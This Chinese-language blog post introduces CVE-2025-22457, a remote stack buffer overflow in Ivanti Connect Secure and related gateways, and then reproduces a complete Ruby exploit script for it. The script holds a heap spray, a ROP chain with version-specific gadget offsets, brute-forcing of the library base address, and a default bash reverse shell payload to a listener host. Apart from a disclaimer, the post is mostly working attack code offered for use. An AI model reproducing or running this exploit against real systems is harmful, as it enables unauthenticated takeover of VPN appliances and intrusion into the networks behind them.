CVE-2025-22457:基于堆栈的远程缓冲区溢出的POC验证脚本

CVE-2025-22457:基于堆栈的远程缓冲区溢出的POC验证脚本

原创 z1 Z1sec 2025-04-21 05:19

免责声明:

由于传播、利用本公众号Z1sec所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

CVE-2025-22457介绍:

基于堆栈的远程缓冲区溢出,影响 Ivanti Connect Secure、Pulse Connect Secure、Ivanti Policy Secure 和 ZTA 网关。

POC地址:
https://github.com/sfewer-r7/CVE-2025-22457

可以针对易受攻击的 Ivanti Connect Secure 版本 22.7r2.4 运行此脚本,如下所示:

脚本内容:

# PoC for CVE-2025-22457 - Ivanti Connect Secure unauthenticated RCE## Usage:## First start a netcat listener to catch the reverse shell:#     ncat -lnvkp 4444# The run the exploit against a target:#     ruby CVE-2025-22457.rb -t TARGET_IP -p 443 --lhost NCAT_IP --lport 4444## Stephen Fewer (Rapid7) - April 9, 2025.require 'socket'require 'openssl'require 'httparty'require 'optparse'HTTParty::Basement.default_options.update(verify: false)def log(txt)  $stdout.puts("[#{Time.now}] #{txt}")end# https://github.com/BishopFox/CVE-2025-0282-check/blob/main/scan-cve-2025-0282.py#L6def get_productversion(options)  res = HTTParty.get("#{options[:target_scheme]}://#{options[:target_ip]}:#{options[:target_port]}/dana-na/auth/url_admin/welcome.cgi?type=inter")  return nil unless res&.code == 200  m = res.body.match(/name="productversion"\s+value="(\d+.\d+.\d+.\d+)"/i)  return nil unless m&.length == 2  m[1]enddef send_http_data(options, data, verbose = false, read = true)  s = TCPSocket.open(options[:target_ip], options[:target_port])  if options[:target_scheme] == 'https'    ctx = OpenSSL::SSL::SSLContext.new    ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_NONE)    s = OpenSSL::SSL::SSLSocket.new(s, ctx).tap do |socket|      socket.sync_close = true      socket.connect    end  end  s.write(data)  return [nil, s] unless read  result = ''  content_length = 0  while line = s.gets    p line if verbose    m = line.match(/content-length: (\d+)\r\n/i)    content_length = m[1].to_i if m    result << line    next unless line == "\r\n" && content_length    break if content_length <= 0    content = s.read(content_length)    p content if verbose    result << content    break  end  [result, s]enddef hax(options)  log "[+] Targeting #{options[:target_scheme]}://#{options[:target_ip]}:#{options[:target_port]}/"  log "[+] Payload: #{options[:payload]}"  productversion = get_productversion(options)  if productversion.nil?    log "[-] Could not get product version for #{options[:target_ip]}:#{options[:target_port]}"    return  end  log "[+] Detected version #{productversion}"  # NOTE: All gadgets are from /home/lib/libdsplibs.so  targets = {    # 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f)    '22.7.2.3597' => {      overflow_length: 622,      # 0x0050c7e6: mov esp, ebp; pop ebp; ret;      gadget_mov_esp_ebp_pop_ret: 0x0050c7e6,      offset_to_got_plt: 0x0157c000,      # 0x00033222: pop ebx; ret;      gadget_pop_ebx_ret: 0x00033222,      # .text:F6D7131F mov [esp], edi      # .text:F6D71322 call __ZN5DSSys18isInterfaceEnabledEPKc      gadget_call_system: 0x0087E31F    }  }  target = targets[productversion]  throw "No target for #{productversion}" unless target  log '[+] Starting...'  # with 9 bits of entroy, we should guess corectly every ~512 attempts.  0.upto(1024) do |attempt|    # XXX: we have to brute force this.    libdsplibs_base = options[:libdsplibs] || (0xf6400000 + (attempt % 512))    log "[+] Attempt #{attempt}, trying libdsplibs.so @ 0x#{libdsplibs_base.to_s(16)}"    log '    Making connections...'    spray_socks = []    lock = Mutex.new    threads = []    0.upto(options[:max_threads]) do      threads << Thread.new do        while true          begin            break unless lock.synchronize do              spray_socks.length < ((1024 - 256) * options[:web_children])            end            body  = "GET / HTTP/1.1\r\n"            body << "Host: #{options[:target_ip]}:#{options[:target_port]}\r\n"            body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n"            body << "Content-Type: EAP\r\n"            body << "Upgrade: IF-T/TLS 1.0\r\n"            body << "Content-Length: 0\r\n"            body << "\r\n"            res, s = send_http_data(options, body, false, true)            throw 'bad response1' unless res.include? '101 Switching Protocols'            lock.synchronize do              spray_socks << s            end          rescue StandardError            log "[-] Exception: #{$!}"          end        end      end    end    threads.each do |t|      t.join    end    log '    Spraying...'    shell_cmd  = "a;#{options[:payload]} # "    shell_cmd += "\x00"    shell_cmd += 'B' while shell_cmd.length < 128    throw 'shell_cmd should be 128 bytes' unless shell_cmd.length == 128    spray_pattern = [      0xCAFEF00D, # 0x39393918:      0xCAFEF01D, # 0x3939391C:      0xCAFEF02D, # 0x39393920:      0xCAFEF03D, # 0x39393924:      libdsplibs_base + target[:gadget_mov_esp_ebp_pop_ret], # 0x39393928: <--- initial eip control, stack pivot gadget.      0x39393928 - 0x10, # 0x3939392C:      0xCAFEF06D, # 0x39393930: <--- 0x39393930 points here @ ebp (rop: pop ebp)      libdsplibs_base + target[:gadget_pop_ebx_ret], # 0x39393934:      libdsplibs_base + target[:offset_to_got_plt], # 0x39393938: <--- eax (rop pop ebx)      libdsplibs_base + target[:gadget_call_system], # 0x3939393C:      0xCAFEF0AD, # 0x39393940:      0xCAFEF0BD, # 0x39393944:      0xCAFEF0CD, # 0x39393948:      0xCAFEF0DD, # 0x3939394C:      0xCAFEF0ED, # 0x39393950:      0xCAFEF0FD, # 0x39393954:      0xCAFEF10D, # 0x39393958:      0x3939392C, # 0x3939395C: <--- 0x39393930+0x2c ->> edx 0x3939392C      0xCAFEF12D, # 0x39393960:      0xCAFEF13D, # 0x39393964:      0x39393998, # 0x39393968: <--- ptr to shell_cmd, referenced @ edi      0xCAFEF15D, # 0x3939396C:      0xCAFEF16D, # 0x39393970:      0xCAFEF17D, # 0x39393974:      0xCAFEF18D, # 0x39393978:      0xCAFEF19D, # 0x3939397C:      0xCAFEF1AD, # 0x39393980:      0xCAFEF1BD, # 0x39393984:      0xCAFEF1CD, # 0x39393988:      0x41414141, # 0x3939398C: <--- last EIP after payload exits.      0xCAFEF1ED, # 0x39393990:      0x00000000  # 0x39393994: 0x39393930+0x64, this is ctx->max_headers and lets us bail out of the headers loop early.      # 0x39393998: shell_cmd @ edi    ].pack('V*') + shell_cmd    throw 'spray_pattern should be 256 bytes' unless spray_pattern.length == 256    heap_buffer = spray_pattern * ((1024 * 1024 * 3) / spray_pattern.length)    ift_body = [      0x00005597, # VENDOR_TCG      0x00000001, # IFT_VERSION_REQUEST      heap_buffer.length + 16 + 1,      0 # seq id    ].pack('NNNN') + heap_buffer    spray_idx = 0    0.upto(options[:max_threads]) do      threads << Thread.new do        while true          begin            s = lock.synchronize do              s = spray_socks[spray_idx]              spray_idx += 1              s            end            break if s.nil?            s.write(ift_body)          rescue StandardError            p "[-] exception: #{$!}"          end        end      end    end    threads.each do |t|      t.join    end    log '    Triggering...'    buffer = '1' * target[:overflow_length]    buffer += [      0x31313131, # ebx      0x32323232, # esi      0x33333333, # edi      0x34343434, # ebp      0x35353535, # eip (but we dont get control here)      0x39393930  # [ebp+8] -> a1 -> heap spray    ].pack('V*')    throw 'bad chars in buffer, only 0123456789. allowed' unless buffer.scan(/^[\d.]+$/).any?    body  = "GET / HTTP/1.1\r\n"    body << "X-Forwarded-For: #{buffer}\r\n"    body << "\r\n"    0.upto(options[:web_children]) do |attempt|      log "    #{attempt}"      send_http_data(options, body, true)    rescue StandardError      log "[-] Exception: #{$!}"    end    # if we have failed, give the target a few seconds to respawn the web binary before we try again.    sleep(5)  end  log '[+] Finished.'endoptions = {  target_scheme: 'https',  target_ip: nil,  target_port: 443,  local_ip: nil,  local_port: 4444,  payload: 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1',  max_threads: 32,  web_children: 4,  libdsplibs: nil}OptionParser.new do |opts|  opts.banner = 'Usage: CVE-2025-22457.rb [options]'  opts.on('-s', '--scheme=https', 'http or https (Default: https)') do |v|    options[:target_scheme] = v.downcase  end  opts.on('-t', '--rhost=IP', 'Remote IP of target') do |v|    options[:target_ip] = v  end  opts.on('-p', '--rport=PORT', 'Remote port of target (Default: 443)') do |v|    options[:target_port] = v.to_i  end  opts.on('--lhost=IP', 'Local IP for reverse shell') do |v|    options[:payload].gsub!('LHOST', v)  end  opts.on('--lport=PORT', 'Local port for reverse shell (Default: 4444)') do |v|    options[:payload].gsub!('LPORT', v)  end  opts.on('-c', '--cmd=CMD', 'Payload Command (Defaults to a reverse shell)') do |v|    options[:payload] = v  end  opts.on('-k', '--max_threads=COUNT', 'Max threads to use when spraying (Default: 32)') do |v|    options[:max_threads] = v.to_i  end  # Depending on the underlying hardware, the number of CPUs available to the appliance will dictate  # the number of child processes the /home/bin/web binary will spawn. As all incoming HTTPS requests  # will be distributed between these children, we need to account for this and perform the heap spray  # enough times for all child processes. We need to do this as when we trigger the vulnerability, we  # cannot know what child process we will trigger it in. So we need the heap spray to be present in  # every child process.  # 1 vCPU - 1 web process, no children  # 2 vCPU - 1 web parent, 2 children  # 4 vCPU - 1 web parent, 4 children  # 8 vCPU - 1 web parent, 8 children  opts.on('--web_children=COUNT', 'The number of /home/bin/web child processes (Default: 4)') do |v|    options[:web_children] = v.to_i  end  opts.on('--libdsplibs=ADDRESS', 'Base address of libdsplibs (e.g. 0xf6486000)') do |v|    options[:libdsplibs] = v.to_i(16)  endend.parse!throw 'set target IP via -t argument' unless options[:target_ip]throw 'set payload local IP via --lhost argument' if options[:payload].include? 'LHOST'throw 'set payload local port via --lport argument' if options[:payload].include? 'LPORT'throw 'payload cannot be empty' if options[:payload].empty?throw 'payload is too large, must be <= 122 chars' if options[:payload].length > 122hax(options)